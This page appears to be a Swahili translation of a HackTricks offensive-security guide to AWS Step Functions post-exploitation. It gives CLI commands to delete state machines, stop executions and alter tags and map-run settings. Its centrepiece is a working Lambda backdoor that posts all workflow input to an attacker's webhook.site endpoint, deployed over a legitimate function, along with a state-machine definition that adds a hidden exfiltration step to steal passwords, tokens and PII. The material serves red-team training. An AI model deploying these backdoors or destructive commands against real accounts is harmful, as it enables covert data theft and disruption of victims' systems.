AWS - Step Functions Post Exploitation
Reading time: 6 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Step Functions
Kwa maelezo zaidi kuhusu huduma hii ya AWS, angalia:
states:RevealSecrets
Ruhusa hii inaruhusu kufichua data za siri ndani ya utekelezaji. Ili kufanya hivyo, inahitajika kuweka kiwango cha Ukaguzi kuwa TRACE na parameter ya revealSecrets kuwa kweli.
.png)
states:DeleteStateMachine
, states:DeleteStateMachineVersion
, states:DeleteStateMachineAlias
Mshambuliaji mwenye ruhusa hizi angeweza kufuta kabisa mashine za hali, toleo zao, na majina. Hii inaweza kuharibu michakato muhimu, kusababisha kupoteza data, na kuhitaji muda mwingi kurekebisha na kurejesha mashine za hali zilizoathiriwa. Zaidi ya hayo, ingemruhusu mshambuliaji kuficha alama zilizotumika, kuharibu uchunguzi wa forensics, na kwa uwezekano kuathiri shughuli kwa kuondoa michakato muhimu ya automatisering na usanidi wa hali.
note
- Kufuta mashine ya hali pia unafuta toleo zake zote na majina.
- Kufuta jina la mashine ya hali huwezi kufuta toleo za mashine ya hali zinazorejelea jina hili.
- Haiwezekani kufuta toleo la mashine ya hali ambalo kwa sasa linarejelewa na majina moja au zaidi.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Madhara Yanayoweza Kutokea: Kuingiliwa kwa michakato muhimu, kupoteza data, na muda wa kukosekana kwa operesheni.
states:UpdateMapRun
Mshambuliaji mwenye ruhusa hii angeweza kubadilisha usanidi wa kushindwa kwa Ramani ya Kimbunga na mipangilio ya sambamba, akiwa na uwezo wa kuongeza au kupunguza idadi ya juu ya utekelezaji wa michakato ya watoto inayoruhusiwa, ikihusisha moja kwa moja na utendaji wa huduma. Zaidi ya hayo, mshambuliaji anaweza kuingilia asilimia na hesabu ya kushindwa inayokubalika, akiwa na uwezo wa kupunguza thamani hii hadi 0 hivyo kila wakati kipengele kinaposhindwa, ramani nzima ya kimbunga itashindwa, ikihusisha moja kwa moja na utekelezaji wa mashine ya hali na kwa uwezekano kuingilia michakato muhimu.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Madhara Yanayoweza Kutokea: Kupungua kwa utendaji, na kuingiliwa kwa michakato muhimu.
states:StopExecution
Mshambuliaji mwenye ruhusa hii anaweza kuweza kusitisha utekelezaji wa mashine yoyote ya hali, kuingilia michakato na shughuli zinazoendelea. Hii inaweza kusababisha muamala usikamilike, shughuli za biashara kusimama, na uwezekano wa uharibifu wa data.
warning
Hatua hii haisaidiwi na mashine za hali za haraka.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Madhara Yanayoweza Kutokea: Kuingiliwa kwa michakato inayoendelea, muda wa kukosekana kwa operesheni, na uwezekano wa uharibifu wa data.
states:TagResource
, states:UntagResource
Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za Step Functions, kuingilia kati mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Madhara Yanayoweza Kutokea: Kuingiliwa kwa ugawaji wa gharama, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.
states:UpdateStateMachine
, lambda:UpdateFunctionCode
Mshambuliaji ambaye anapata udhibiti wa mtumiaji au jukumu lenye ruhusa zifuatazo:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
...inaweza kufanya shambulio la baada ya unyakuzi lenye athari kubwa na lisiloonekana kwa kuunganisha backdooring ya Lambda na urekebishaji wa mantiki ya Step Function.
Hali hii inadhani kwamba mwathirika anatumia AWS Step Functions kuandaa kazi zinazoshughulikia pembejeo nyeti, kama vile akidi, tokeni, au PII.
Mfano wa mwathirika anayeitwa:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Ikiwa Step Function imewekwa ili kuitisha Lambda kama LegitBusinessLogic
, mshambuliaji anaweza kuendelea na aina mbili za shambulio zisizoonekana:
Sasisha kazi ya lambda
Mshambuliaji anabadilisha msimbo wa kazi ya Lambda ambayo tayari inatumika na Step Function (LegitBusinessLogic
) ili kimya kimya kuhamasisha data ya pembejeo.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Ongeza Jimbo Hatari kwa Kazi ya Hatua
Vinginevyo, mshambuliaji anaweza kuingiza exfiltration state mwanzoni mwa mchakato kwa kuboresha ufafanuzi wa Kazi ya Hatua.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
Mshambuliaji anaweza hata kuwa na ujanja zaidi kubadilisha ufafanuzi wa hali kuwa kitu kama hiki { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } ambapo mwathirika hataweza kugundua tofauti
Mipangilio ya Mwathirika (Muktadha wa Ushambuliaji)
- Kazi ya Hatua (
LegitStateMachine
) inatumika kushughulikia pembejeo nyeti za mtumiaji. - Inaita kazi moja au zaidi za Lambda kama
LegitBusinessLogic
.
Athari Zinazoweza Kutokea:
- Uhamasishaji wa kimya wa data nyeti ikiwa ni pamoja na siri, akidi, funguo za API, na PII.
- Hakuna makosa au kushindwa kuonekana katika utekelezaji wa mtiririko wa kazi.
- Vigumu kugundua bila kukagua msimbo wa Lambda au alama za utekelezaji.
- Inaruhusu kudumu kwa muda mrefu ikiwa nyuma ya mlango inabaki katika msimbo au mantiki ya ASL.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.